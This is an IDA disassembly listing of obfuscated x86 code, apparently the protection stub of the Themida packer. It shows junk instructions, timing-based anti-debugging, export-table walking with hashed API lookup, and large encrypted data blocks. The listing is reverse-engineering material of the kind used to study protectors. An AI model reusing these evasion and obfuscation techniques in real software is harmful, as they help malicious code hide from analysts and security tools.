loc_54C74B: ; CODE XREF: sub_54C6F2+46j
add esi, [esp+20h+arg_0]
pusha
call near ptr loc_54C75F+9
inc eax
test al, 0C5h
mov dh, 5Fh
in al, 93h
inc edi
bound ecx, [ecx]
loc_54C75F: ; CODE XREF: sub_54C6F2+5Ep
mov dword ptr [esi-37DB7FD7h], 0B1BA0D85h
sub_54C6F2 endp ; sp-analysis failed
adc [eax-75h], bl
shl dword ptr [ecx+66h], 1
lodsd
jmp loc_54C783
; ---------------------------------------------------------------------------
db 1Eh, 6Eh, 36h
dd 0AB6A6A63h, 0CF7CE3BAh
db 0BEh, 0F6h, 69h
; ---------------------------------------------------------------------------
loc_54C783: ; CODE XREF: Themida_:0054C770j
add eax, [esp+24h]
mov [ebp+6140A41h], ebx
push eax
jmp loc_54C7A0
; ---------------------------------------------------------------------------
db 29h
; ---------------------------------------------------------------------------
xchg eax, edx
sbb ebp, ebx
push esi
or al, 3Ch
jmp fword ptr [edx+edx*8-3Bh]
; ---------------------------------------------------------------------------
dw 9E28h
; ---------------------------------------------------------------------------
loc_54C7A0: ; CODE XREF: Themida_:0054C78Ej
mov [esp], eax
sub [ebp+614042Dh], edi
mov eax, [eax+78h]
pusha
sub [ebp+6142115h], edx
or esi, [ebp+61434BDh]
popa
jnz loc_54C7C6
mov [ebp+6141505h], edi
loc_54C7C6: ; CODE XREF: Themida_:0054C7BAj
add eax, [esp+28h]
mov [ebp+61429C1h], ebx
mov eax, [eax+18h]
or [ebp+61400B1h], edx
inc eax
pusha
or dh, 1Dh
popa
mov [ebp+6143B09h], eax
jz loc_54C7F5
pusha
mov eax, [ebp+6141685h]
mov ebx, ecx
popa
loc_54C7F5: ; CODE XREF: Themida_:0054C7E5j
pop eax
clc
mov esi, [eax+78h]
cld
add esi, 1Ch
jmp loc_54C814
; ---------------------------------------------------------------------------
imul ebx, [edi-7Dh], 69h
retn
; ---------------------------------------------------------------------------
dd 165B5768h, 7028C75Bh, 3E0C9897h
; ---------------------------------------------------------------------------
loc_54C814: ; CODE XREF: Themida_:0054C7FEj
add esi, [esp+24h]
sub [ebp+6143169h], ecx
lea edi, [ebp+61418F1h]
jg loc_54C836
jg loc_54C836
mov [ebp+6141909h], esi
loc_54C836: ; CODE XREF: Themida_:0054C824j
; Themida_:0054C82Aj
lodsd
xor [ebp+6141BE9h], ecx
add eax, [esp+24h]
jbe loc_54C848
stc
loc_54C848: ; CODE XREF: Themida_:0054C841j
stosd
stc
lea edi, [ebp+61409D9h]
jg loc_54C864
pusha
mov edx, [ebp+61430F1h]
mov [ebp+614044Dh], ecx
popa
loc_54C864: ; CODE XREF: Themida_:0054C850j
lodsd
pusha
pusha
call near ptr loc_54C86E+3
sub ebp, edx
loc_54C86E: ; CODE XREF: Themida_:0054C867p
shr dword ptr [ebp+961584Ch], 1
test [ebp+25h], edi
adc al, 6
popa
jno loc_54C896
pusha
jmp loc_54C88F
; ---------------------------------------------------------------------------
dw 38C1h
dd 8B4E2160h
db 8Dh, 0A1h, 83h
; ---------------------------------------------------------------------------
loc_54C88F: ; CODE XREF: Themida_:0054C881j
sbb ebx, 656BDB8Ch
popa
loc_54C896: ; CODE XREF: Themida_:0054C87Aj
add eax, [esp+24h]
sub [ebp+6141D15h], edx
nop
jmp loc_54C8BA
; ---------------------------------------------------------------------------
mov ds:0D1A6C9C9h, al
adc [edi+1Ah], edx
mov ch, 0Ah
sub dword ptr [esi+7E32E9CEh], 0BABE2B04h
loc_54C8BA: ; CODE XREF: Themida_:0054C8A1j
push eax
push eax
push edx
pusha
jl $+6
popa
rdtsc
loc_54C8C7: ; CODE XREF: Themida_:0054C8FDj
jmp loc_54C8D6
; ---------------------------------------------------------------------------
db 0CCh
db 0Eh, 71h, 13h
; ---------------------------------------------------------------------------
or al, 2Bh
cmpsb
xchg eax, ebx
or esi, edx
loc_54C8D6: ; CODE XREF: Themida_:loc_54C8C7j
pop edx
pop eax
nop
jnb loc_54C8E5
or [ebp+61412D1h], eax
loc_54C8E5: ; CODE XREF: Themida_:0054C8D9j
stosd
jmp loc_54C8FF
; ---------------------------------------------------------------------------
db 83h
dd 940A6609h, 456B725Fh, 0D8A2EC65h, 41F427C9h
; ---------------------------------------------------------------------------
dec edi
jg short loc_54C8C7
loc_54C8FF: ; CODE XREF: Themida_:0054C8E6j
lea edi, [ebp+6140381h]
mov [ebp+6142F0Dh], eax
pusha
movzx edx, cx
mov esi, [ebp+6143101h]
popa
lodsd
mov [ebp+61425B5h], ebx
mov [ebp+6140F81h], eax
add eax, [esp+28h]
xor [ebp+614056Dh], ecx
stosd
mov [ebp+6140BE5h], eax
pop esi
xor [ebp+6142199h], esi
loc_54C93B: ; CODE XREF: Themida_:0054C9C7j
dec dword ptr [ebp+6143B09h]
cmp dword ptr [ebp+6143B09h], 0
jnz short loc_54C95A
mov dword ptr [esp+1Ch], 0
lea esi, [ebp+6143FDDh]
jmp esi
; ---------------------------------------------------------------------------
loc_54C95A: ; CODE XREF: Themida_:0054C948j
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+6141A59h]
test al, al
jz short loc_54C971
cmp al, [edi]
jnz short loc_54C9BD
loc_54C971: ; CODE XREF: Themida_:0054C96Bj
push edi
xor al, al
loc_54C974: ; CODE XREF: Themida_:0054C975j
scasb
jnz short loc_54C974
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_54C981: ; CODE XREF: Themida_:0054C9AAj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_54C990: ; CODE XREF: Themida_:0054C9A3j
shr bx, 1
rcr ax, 1
jnb short loc_54C9A1
xor ax, 5041h
xor bx, 5449h
loc_54C9A1: ; CODE XREF: Themida_:0054C996j
dec dh
jnz short loc_54C990
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_54C981
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_54C9CC
loc_54C9BD: ; CODE XREF: Themida_:0054C96Fj
pop esi
add esi, 4
inc dword ptr [ebp+61402F5h]
jmp loc_54C93B
; ---------------------------------------------------------------------------
loc_54C9CC: ; CODE XREF: Themida_:0054C9BBj
pop esi
pusha
sub [ebp+6142375h], ecx
mov cl, 28h
popa
jg loc_54C9E3
pusha
mov bl, 1Bh
mov cl, 0Bh
popa
loc_54C9E3: ; CODE XREF: Themida_:0054C9D7j
mov eax, [ebp+61402F5h]
sub [ebp+6142EDDh], edx
shl eax, 1
jle loc_54C9FD
mov [ebp+6142D69h], edi
loc_54C9FD: ; CODE XREF: Themida_:0054C9F1j
add eax, [ebp+6140381h]
pusha
pusha
mov si, 4487h
popa
movzx ecx, dx
popa
sub esi, esi
jbe loc_54CA1E
jbe loc_54CA1E
pusha
popa
loc_54CA1E: ; CODE XREF: Themida_:0054CA10j
; Themida_:0054CA16j
xchg eax, esi
pusha
sub [ebp+6140BBDh], esi
jb loc_54CA32
jp $+6
loc_54CA32: ; CODE XREF: Themida_:0054CA26j
popa
lodsw
jmp loc_54CA4E
; ---------------------------------------------------------------------------
dw 13BBh
dd 0B6FD2BEh, 38673E8Fh, 0B07800D6h, 1F47E6EEh
db 17h, 0E0h
; ---------------------------------------------------------------------------
loc_54CA4E: ; CODE XREF: Themida_:0054CA35j
pusha
movsx ecx, cx
mov ebx, 2EF9E862h
popa
shl eax, 2
mov [ebp+6142C29h], eax
add eax, [ebp+61418F1h]
jnb loc_54CA78
jmp loc_54CA78
; ---------------------------------------------------------------------------
dw 0E856h
dd 29C2AAE3h
; ---------------------------------------------------------------------------
loc_54CA78: ; CODE XREF: Themida_:0054CA67j
; Themida_:0054CA6Dj
xchg eax, esi
mov [ebp+61418E1h], edi
lodsd
jmp loc_54CA8B
; ---------------------------------------------------------------------------
push esi
sbb [ebx-7Eh], dl
adc [edx], esp
loc_54CA8B: ; CODE XREF: Themida_:0054CA80j
mov ecx, [esp+24h]
jmp loc_54CA9A
; ---------------------------------------------------------------------------
dd 270575C6h
db 0A0h, 21h
; ---------------------------------------------------------------------------
loc_54CA9A: ; CODE XREF: Themida_:0054CA8Fj
add eax, [esp+24h]
mov [ebp+6142EA5h], edi
mov [esp+1Ch], eax
jmp loc_54CABC
; ---------------------------------------------------------------------------
db 6Ah, 1Bh, 0D2h
dd 0C2F2978Ah, 936FEAA1h, 62B4CB20h
; ---------------------------------------------------------------------------
loc_54CABC: ; CODE XREF: Themida_:0054CAA8j
xchg eax, esi
jz loc_54CACD
pusha
mov bh, al
jnz $+6
popa
loc_54CACD: ; CODE XREF: Themida_:0054CABDj
lodsb
or [ebp+6142D09h], edx
xor cl, cl
pusha
pusha
jo $+6
xor [ebp+61413F5h], edi
popa
popa
inc cl
mov [ebp+61408DDh], edx
loc_54CAEE: ; CODE XREF: Themida_:0054CB30j
rcl al, 1
jnb loc_54CBBC
add [ebp+6142C55h], edi
rcl al, 1
jnb loc_54CBBC
jmp loc_54CB10
; ---------------------------------------------------------------------------
cmp al, [esi-29B34810h]
dec esp
loc_54CB10: ; CODE XREF: Themida_:0054CB04j
rcl al, 1
jb loc_54CBBC
pusha
movsx esi, si
movzx ecx, di
popa
rcl al, 1
jb loc_54CBBC
sub [ebp+6141A89h], edi
dec cl
jns loc_54CAEE
js loc_54CB44
pusha
mov eax, [ebp+6140601h]
popa
loc_54CB44: ; CODE XREF: Themida_:0054CB36j
stc
add esp, 20h
pusha
movsx esi, bx
mov di, 4521h
popa
mov dword ptr [esp-4], 0
js loc_54CB65
add [ebp+6142F65h], edx
loc_54CB65: ; CODE XREF: Themida_:0054CB59j
mov eax, 1
jmp loc_54CB7B
; ---------------------------------------------------------------------------
db 2Fh
dd 74221981h, 9109D443h
db 0A9h, 0EAh, 27h
; ---------------------------------------------------------------------------
loc_54CB7B: ; CODE XREF: Themida_:0054CB6Aj
jb loc_54CB93
jmp loc_54CB93
; ---------------------------------------------------------------------------
dw 0CB14h
dd 0A41F1EE8h, 0C346C478h
db 0DFh, 0B9h, 26h
; ---------------------------------------------------------------------------
loc_54CB93: ; CODE XREF: Themida_:loc_54CB7Bj
; Themida_:0054CB81j
lea ecx, [ebp+61470F0h]
pusha
jmp loc_54CBB2
; ---------------------------------------------------------------------------
db 0EEh
dd 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh
; ---------------------------------------------------------------------------
dec dword ptr [edi]
loc_54CBB2: ; CODE XREF: Themida_:0054CB9Aj
mov [ebp+61424A5h], ebx
popa
jmp ecx
; ---------------------------------------------------------------------------
cld
loc_54CBBC: ; CODE XREF: Themida_:0054CAF0j
; Themida_:0054CAFEj ...
mov byte ptr [ebp+6141A59h], 0
or [ebp+6142661h], edi
popa
jg loc_54CBE9
jmp loc_54CBE9
; ---------------------------------------------------------------------------
db 0Ch, 47h, 0D5h
dd 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh
db 1Bh
; ---------------------------------------------------------------------------
loc_54CBE9: ; CODE XREF: Themida_:0054CBCAj
; Themida_:0054CBD0j
ja locret_54CBFE
jmp locret_54CBFE
; ---------------------------------------------------------------------------
dd 0E1A13BD4h, 7ACF98F0h
; ---------------------------------------------------------------------------
fdiv st, st(1)
locret_54CBFE: ; CODE XREF: Themida_:loc_54CBE9j
; Themida_:0054CBEFj
retn 8
; ---------------------------------------------------------------------------
db 60h, 0Fh, 0B7h
dd 0CF8166DBh
db 60h, 78h, 61h
byte_54CC0B db 50h ; DATA XREF: Themida_:0054B6B4o
dd 0BE605250h, 2029B60Fh, 60310F61h, 0E451ACBEh, 61CE8B51h
dd 3489585Ah, 0F880F24h, 0E9000000h, 0Ah, 9F9BB7D5h, 108B9368h
dd 3160F4FDh, 140AF995h, 0C19D8B06h, 6106141Ah, 41E0B589h
dd 66600614h, 9823E781h, 0E101E081h, 89615A05h, 1441EB8Dh
dd 0B58DF906h, 61440DCh, 0FE9h, 9BF49100h, 0D1A7853Ah
dd 6B6D9920h, 0AE8610AEh, 8EA1858Dh, 8960005Bh, 1413DDB5h
dd 0F1B58906h, 6106142Eh, 8E9D0FFh, 45000000h, 0B0A4D7FDh
dd 5EF1237Ah, 14E9C3F9h, 0D2000000h, 5360BAD6h, 8C95032Ah
dd 6EF63DD7h, 3C3CDB9Eh, 8B7BD98Fh, 1441E0B5h, 0F1BD8906h
dd 8B061402h, 1441EB8Dh, 59B50906h, 0B8061413h, 0
; ---------------------------------------------------------------------------
mov [ebp+6140A7Dh], eax
mov ebx, ecx
pusha
mov [ebp+6142659h], eax
popa
jmp loc_54CD96
; ---------------------------------------------------------------------------
jl loc_54CCFE
jmp loc_54CCFE
; ---------------------------------------------------------------------------
dd 76BAF48Ah
; ---------------------------------------------------------------------------
jg short loc_54CD27
loc_54CCFE: ; CODE XREF: Themida_:0054CCEDj
; Themida_:0054CCF3j ...
xor ah, [esi]
or [ebp+6142A85h], edx
mov dl, 2
clc
jmp loc_54CD6C
; ---------------------------------------------------------------------------
or [ebp+61408CDh], edi
loc_54CD14: ; CODE XREF: Themida_:0054CD6Ej
xor al, dl
jb loc_54CD30
jmp loc_54CD30
; ---------------------------------------------------------------------------
db 0ECh, 49h, 0D2h
; ---------------------------------------------------------------------------
rcr dh, 0ACh
loc_54CD27: ; CODE XREF: Themida_:0054CCFCj
or dl, [edx]
; ---------------------------------------------------------------------------
db 8Dh, 0C2h, 62h
dd 0CB38F36h
; ---------------------------------------------------------------------------
loc_54CD30: ; CODE XREF: Themida_:0054CD16j
; Themida_:0054CD1Cj
add eax, 8A751D7Ah
add [ebp+6142511h], edx
mov cl, ah
sub [ebp+61401B1h], edx
ror eax, cl
mov [ebp+6142EC1h], esi
xor eax, 98D10842h
sub [ebp+61410D5h], eax
or [ebp+6141385h], ecx
dec dl
jmp loc_54CD6C
; ---------------------------------------------------------------------------
db 3Ah
; ---------------------------------------------------------------------------
push 0B81B0864h
sbb al, 17h
push edi
loc_54CD6C: ; CODE XREF: Themida_:0054CD09j
; Themida_:0054CD5Ej
or dl, dl
jnz loc_54CD14
pusha
mov edi, [ebp+61412EDh]
sbb ebx, 2058F8B8h
popa
dec ebx
add [ebp+6141165h], edi
add [ebp+6140C75h], edx
inc esi
sub [ebp+6142625h], edi
loc_54CD96: ; CODE XREF: Themida_:0054CCE8j
or ebx, ebx
jnz loc_54CCFE
pusha
mov ecx, [ebp+6142349h]
jmp loc_54CDBC
; ---------------------------------------------------------------------------
dw 0D0A3h
dd 0B5A850FFh, 63E8D690h, 0E283C274h, 0E3680FFCh
; ---------------------------------------------------------------------------
loc_54CDBC: ; CODE XREF: Themida_:0054CDA5j
popa
iret
; ---------------------------------------------------------------------------
dw 0F5h
dd 55950900h, 61402h, 0F800h, 18E9BD29h, 0DE90614h, 41000000h
dd 80E852Bh, 3B874395h, 23921B2Ah, 8DFC0000h, 143B1385h
dd 68D0F06h, 1000000h, 1434F98Dh, 11858906h, 0E9061423h
dd 7, 0A7EB4EC1h, 8D4C23A7h, 14402C85h, 2DBD8906h, 8906142Eh
dd 142AD585h, 14EB06h, 3 dup(0)
dd 85000000h, 8D000000h, 14430C85h, 8D858906h, 83061410h
dd 14424CBDh, 840F0006h, 12Ch, 1A5985C6h, 68560614h, 6C3FF16Bh
dd 0CE240481h, 0FF67DF7Bh, 141145B5h, 13858D06h, 0FF06143Bh
dd 408589D0h, 0C6061442h, 141A5985h, 0B3685606h, 814800A5h
dd 129F2404h, 0B5FF54A8h, 6141145h, 3B13858Dh, 0D0FF0614h
dd 42448589h, 46A0614h, 4E8h, 100000h, 448B5000h, 8B0424h
dd 4244489h, 50858B58h, 5061442h, 1F4h, 5002E0C1h, 6A240489h
dd 4495FF00h, 89061442h, 14424885h, 0B8D88B06h, 0FFFFFFFFh
dd 108D95FFh, 0C38B0614h, 108D95FFh, 8DE90614h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54CEEB: ; DATA XREF: Themida_:00549C6Co
cmp dword ptr [ebp+614424Ch], 0
jnz loc_54CEF9
retn
; ---------------------------------------------------------------------------
loc_54CEF9: ; CODE XREF: Themida_:0054CEF2j
push edi
mov edi, [ebp+6144248h]
stosd
add dword ptr [ebp+6144248h], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+614424Ch], 0
jnz loc_54CF18
retn
; ---------------------------------------------------------------------------
loc_54CF18: ; CODE XREF: Themida_:0054CF11j
pusha
sub dword ptr [ebp+6144248h], 4
loc_54CF20: ; CODE XREF: Themida_:loc_54CF73j
mov ebx, [ebp+6144248h]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_54CF56
call near ptr loc_54CF35+4
loc_54CF35: ; CODE XREF: Themida_:0054CF30p
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+6144240h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_54CF73
; ---------------------------------------------------------------------------
loc_54CF56: ; CODE XREF: Themida_:0054CF2Aj
push 595F7A9Dh
xor dword ptr [esp], 595FFA9Dh
push 0
push dword ptr [ebx]
call dword ptr [ebp+6144240h]
sub dword ptr [ebp+6144248h], 4
loc_54CF73: ; CODE XREF: Themida_:0054CF51j
jmp loc_54CF20
; ---------------------------------------------------------------------------
dec eax
jmp loc_54D951
; ---------------------------------------------------------------------------
dw 83B6h
dd 8EBDD441h, 1B9A9C83h, 0D607FFCDh, 9E94CDA8h, 19DF9098h
dd 0E3616A50h, 4625D363h, 0A5EB637Ah, 0CCB6D941h, 0C88948Fh
dd 0C416AC9Fh, 0D59B88AFh, 13AFF3F7h, 0E27C7E5Ah, 4625816Fh
dd 0A6E46578h, 0CCACD941h, 13928990h, 0DA0AB29Fh, 0DB8F9FB4h
dd 5F9B909Ch, 0F37C7A4Dh, 824D322h, 0B0F0656Dh, 83AAC041h
dd 139C8991h, 91h, 62h dup(0)
dd 83B60000h, 82B7DD41h, 0C928F9Fh, 0D81DAF9Fh, 96979FBCh
dd 0C9E96DDh, 0E26A7D1Fh, 4736812Dh, 0E2E16461h, 82B6C513h
dd 5E9A959Fh, 0CE4FB1D6h, 0DB8498B4h, 0B8C878Eh, 8D21725Ah
dd 4D3CF14Eh, 0EEE07975h, 80B6C541h, 5E999A99h, 0D14FABD6h
dd 0DB9B82A9h, 10929B90h, 0E62F664Dh, 5A70C52Dh, 0A3F17971h
dd 95F8C413h, 5E8F8E99h, 0D000ADCFh, 0D59B8CA9h, 48h dup(0)
dd 83B60000h, 8DAAD341h, 0C989095h, 0C34FAC98h, 0DB9A82B4h
dd 5F8C9F95h, 0E96A7A5Dh, 5D3FC763h, 0B0A56E7Ah, 85B6DE14h
dd 17DD9C98h, 0D816FFD1h, 88D69FAEh, 1A8B8D84h, 8A053152h
dd 4935CD13h, 0E2A96F67h, 83B4DE14h, 17DD9F97h, 0C509FFCBh
dd 96D680B4h, 0D909398h, 0E96E3F46h, 4D228127h, 0B0E47E67h
dd 83A19015h, 0EDD8983h, 0C508B0CDh, 0D880BAh, 61h dup(0)
dd 84B60000h, 0CCBDDC08h, 0C8F9495h, 0D21BAFCAh, 0DBD8CCBFh
dd 0C9696A9h, 0E87D6F1Fh, 4531D324h, 0B1E46234h, 89BDD241h
dd 1F90DB98h, 0C21FB6D1h, 9E828CB7h, 119EDE99h, 0E6623F5Bh
dd 2235C33Ah, 0E5F16319h, 82B19012h, 0A9E9E90h, 0D54FBBDAh
dd 0DB97CDA2h, 0A8D97ABh, 0F5603F4Ch, 4922C263h, 0A6E06177h
dd 848C904Fh, 18DD889Fh, 970AB3D6h, 0DC9882ACh, 1088DE89h
dd 0E62F744Dh, 473DD82Dh, 0AB6F66h, 0E0h dup(0)
dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD db 'Exit Status = %d',0
align 4
dd 0
db 0
; ---------------------------------------------------------------------------
loc_54D951: ; CODE XREF: Themida_:0054CF79j
jmp loc_550561
; ---------------------------------------------------------------------------
mov ebx, edi
cld
sub edx, 364DF8E6h
mov eax, eax
sub [ebp+6141FE5h], ebx
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_54D979
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_54D98C
loc_54D979: ; CODE XREF: Themida_:0054D96Ej
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+616B5DCh]
call ebx
pop ebx
pop eax
loc_54D98C: ; CODE XREF: Themida_:0054D977j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_54D9A6
push eax
push ebx
mov eax, 1
lea ebx, [ebp+616B48Dh]
call ebx
pop ebx
pop eax
loc_54D9A6: ; CODE XREF: Themida_:0054D993j
mov ebx, 145DED41h
mov ebx, [ebp+6140355h]
mov eax, eax
add [ebp+61423EDh], edx
mov bx, 44EAh
cmp dword ptr [ebp+6140B05h], 0
jz loc_54DB36
push 0
push eax
call sub_54D9D5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D9D5 proc near ; CODE XREF: Themida_:0054D9CDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54D9D5 endp
; ---------------------------------------------------------------------------
db 5, 45h, 83h
dd 140441BDh, 840F0006h, 142h, 262D952Bh, 6A600614h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 3CE3C352h, 0CDF19EE4h, 0D38166B8h, 858B9C9Dh, 6140441h
dd 5DAB70Fh, 3E8h, 6519D8Bh, 0E9500614h, 14h, 0ABC17978h
dd 299CD1CBh, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch, 6A240489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 2568C356h, 1D9C0588h, 654AA9B1h, 73E541BBh
dd 59858D33h, 8B06144Dh, 0CB8166D1h, 60500488h, 8B74B866h
dd 0F28B5250h, 8E9310Fh, 52000000h, 0D81CABB4h, 5AFC8E73h
dd 4896158h, 6C88BA24h, 0DF8054D3h, 37858DA8h, 8B06144Dh
dd 66B790DAh, 90F88A50h, 95FF07B3h, 6141509h, 25C59D8Bh
dd 0C4830614h, 0A99D890Ch, 8D061408h, 144D3785h, 3D9D8906h
dd 8B061422h, 140D3595h, 4895006h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0DE13DB93h
dd 0FDCDC9Dh, 0AABAD6BFh, 6A68EEBCh, 69B58902h, 89061415h
dd 140595BDh, 1495FF06h, 66006AEDh, 610965BBh, 31B19503h
; ---------------------------------------------------------------------------
adc al, 6
loc_54DB36: ; CODE XREF: Themida_:0054D9C4j
mov dword ptr [ebp+6144D6Ah], 1
push 0
push eax
call sub_54DB4B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54DB4B proc near ; CODE XREF: Themida_:0054DB43p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_54DB4B endp
; ---------------------------------------------------------------------------
cmp esp, esi
retf 0C15Ah
; ---------------------------------------------------------------------------
dd 0BE85006h, 0D0000000h, 0F5FC7D8h, 0C5ACAF15h, 52500382h
dd 800Fh, 310F0000h, 310F5250h, 585A585Ah, 2434895Ah, 1FD9BD89h
dd 0B5890614h, 6144D1Bh, 0ECC38166h, 0CDBD8373h, 1061412h
dd 39850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 73B59DC3h, 5F883D5h, 11850Fh, 9D8B0000h
dd 6142661h, 0B8h, 91858900h, 83061411h, 140051BDh, 840F0006h
dd 40h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
dd 0D3C35040h, 8B602247h, 1425CD95h, 5195FF06h, 0E9061400h
dd 0Bh, 4C45E053h, 32C067Ch, 61918177h, 0FC27CA80h, 1A99BD83h
dd 0F000614h, 3184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0BFA89A13h, 0AE99D8Bh
dd 0B80614h, 8B000000h, 0C38166DFh, 0F60CCA9h, 1689h, 0AE800h
dd 9BEA0000h, 3F6AA680h, 5A241A04h, 8E0Fh, 8B5B0000h, 142D0185h
dd 6EEB8106h, 836E2CEDh, 0DF8B02C0h, 4D138589h, 81660614h
dd 0C64362EAh, 9EB3FF00h, 1A5985C6h, 8B530614h, 14263D95h
dd 4E806h, 48D80000h, 800FFCB1h, 12h, 0DE9h, 23C7EC00h
dd 65C78E2Ch, 0C42E6456h, 8A50B92Ch, 24448BDDh, 8BD68B04h
dd 89DF8B00h, 53042444h, 5BD88B66h, 3880F58h, 80000000h
dd 49B7D7EBh, 1AD1B5FFh, 89600614h, 1419E9BDh, 36DB8006h
dd 0DB858D61h, 89061780h, 141FD985h, 0A0F2BA06h, 0D0FF6046h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0EEC35545h
dd 516FD868h, 0BB66528Eh, 8589EF79h, 6141169h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h, 0BA91361Ch
dd 0FD4A826h, 1D51BD83h, 0F010614h, 0FF85h, 11958B00h
dd 61061414h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 8AC35646h, 1A5985C6h, 89450614h, 1431218Dh, 2E536806h
dd 5250D90Bh, 9E8h, 72197100h, 15695D55h, 0DE81E19h, 94000000h
dd 96231185h, 86F476A1h, 8707AD9Ah, 310F5A5Ah, 0FEE0BB66h
dd 481585Ah, 550A6F24h, 69958901h, 0FF06140Ah, 141AD1B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 33791A93h, 0B89965E0h, 80DB858Dh, 0CE90617h
dd 0D5000000h, 9C092921h, 6AF1E5E1h, 0FFA806C0h, 53006AD0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0BF0FFF34h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0BCFBC355h, 0A1DB589h
dd 0D0FF0614h, 8D315BB7h, 614321Dh, 829BD83h, 0F010614h
dd 0C585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 333E4396h, 25CD9D89h, 8B660614h
dd 1858BD8h, 0E806142Dh, 5, 8BBDC007h, 2195338Ah, 5B06142Eh
dd 2DE9h, 9F38100h, 502A3E56h, 64BE6660h, 4896179h, 0FBBB6624h
dd 8B146A6Fh, 6995FFDEh, 89061411h, 14207185h, 0CB816606h
dd 6658FF6Ch, 3880D68Bh, 0D0850F00h, 6AFFFFFFh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 826DC352h, 100C61Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0F3C35242h, 85DCF414h, 7CB3FFE9h, 2EC19D8Bh
dd 0E9610614h, 5, 0AE37696Fh, 65BD8364h, 6141Dh, 78840Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 9BC6CFC3h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0F6DE0AC3h, 38F3F449h
dd 9D8B59D2h, 61431E1h, 116995FFh, 0D68B0614h, 0FFFFC7E9h
dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0EB81661Bh, 85C7C505h, 6141D65h, 1, 0FF34C281h
dd 85893631h, 6144D1Fh, 0B359D8Bh, 0B3500614h, 240489DEh
dd 8E0F60F9h, 6, 8A0Fh, 56A0000h, 0BD9958Bh, 0BB660614h
dd 858D1C3Ch, 6144D37h, 50D88B66h, 8B665250h, 57310FD9h
dd 8CFABB66h, 89585A5Ah, 0BA662404h, 858DC537h, 6144D27h
dd 330CE281h, 8B900B0Eh, 8E0F50D0h, 0Ah, 0F595160h, 82h
dd 6A906100h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 74ECC352h, 3D3D9C25h, 95FF4154h
dd 6142F55h, 142D9589h, 8D8D0614h, 61478CEh, 0A40BB66h
dd 1174C00Bh, 4D37858Dh, 0FF500614h, 558589D1h, 0EB06144Dh
dd 5585C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D599C357h
dd 0B3524743h, 0FDBD8924h, 6106140Ah, 0A0D9D8Bh, 85C60614h
dd 6141A59h, 0E1958B4Dh, 68061409h, 0F4532D51h, 0C830Fh
dd 8F0F0000h, 6, 310F5250h, 3481585Ah, 665BF924h, 0AD9D8B50h
dd 0F061420h, 68Ah, 819D8B00h, 0FF06141Dh, 142255B5h, 1D9D8906h
dd 8D061432h, 1780DB85h, 7E906h, 3A640000h, 8EAD088h, 81D0FFD1h
dd 496CE3D2h, 0C1858952h, 0C6061402h, 141A5985h, 9D8B4506h
dd 6140361h, 0D45ACA68h, 81D18BADh, 33A32434h, 0B5FF23A6h
dd 6141AD1h, 19799D31h, 858D0614h, 61780DBh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0BE8A03D1h
dd 57E79D8Bh, 0CE8h, 7A172900h, 0A587DD50h, 6C8F293Fh
